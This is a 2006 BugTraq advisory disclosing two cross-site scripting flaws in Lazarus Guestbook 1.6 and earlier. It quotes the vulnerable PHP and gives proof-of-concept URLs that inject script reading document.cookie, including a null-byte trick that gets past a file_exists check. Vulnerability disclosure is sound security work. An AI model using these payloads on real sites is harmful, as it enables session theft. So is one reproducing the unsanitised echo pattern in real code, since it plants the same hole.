BugTraq
Lazarus Guestbook Cross Site Scripting Vulnerabilities Jul 12 2006 05:34AM
simo64 gmail com
Produce : Lazarus Guestbook

Website : http://carbonize.co.uk/Lazarus/

Version : <= 1.6

Problem : Cross Site Scripting

1)

The first probleme is in codes-english.php ,"show" parameter in lang/codes-english.php isn't properly sanitised

This can be exploited to execute arbitrary HTML and javascript code

Vulnerable code in lang/codes-english.php near line 4

1 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

2 <html>

3 <head>

4 <title><?php echo($_GET['show']); ?></title>

Exploit :

http://localhost/lazarusgb/lang/codes-english.php?show=%3C/title%3E[XSS]

http://localhost/lazarusgb/lang/codes-english.php?show=%3C/title%3E<scri
pt>alert(document.cookie);</script>

2)

the seconde probleme is in picture.php , the script verifiy fist if image file exists

after it display it ,

vulnerable code : in picture.php

********************************

24 if (!empty($_GET['img'])) {

26 if (file_exists("$GB_TMP/$_GET[img]")) {

27 $size = @GetImageSize("$GB_TMP/$_GET[img]");

28 $picture = "$GB_PG[base_url]/$GB_TMP/$_GET[img]";

29 }

.. ............

49 <td align="center" valign="middle">

50 <?php

51 if (!empty($_GET['img']) && is_array($size)) {

52 echo "<a href=\"javascript:window.close()\"><img src=\"$picture\" width=\"$size[0]\" height=\"$size[1]\" border=\"0\"></a>\n";

53 }

54 ?>

55 </td>

****************

if magic_quote_gpc = OFF we can bypass this protection by specifing existing image file ( Exemple : "img/home.gif") and using a nullchar ( %00 )

POC : http://localhost/lazarusgb/picture.php?img=../img/home.gif%00[code]

file_exists("$GB_TMP/$_GET[img]") will return true and html code will be executed

Exploit:

http://localhost/lazarusgb/picture.php?img=../img/home.gif%00%22%3E[XSS]

http://localhost/lazarusgb/picture.php?img=../img/home.gif%00%22%3E<scri
pt>alert(document.cookie);</script>

Contact : simo64[at]gmail[dot]com

Moroccan Security Research Team

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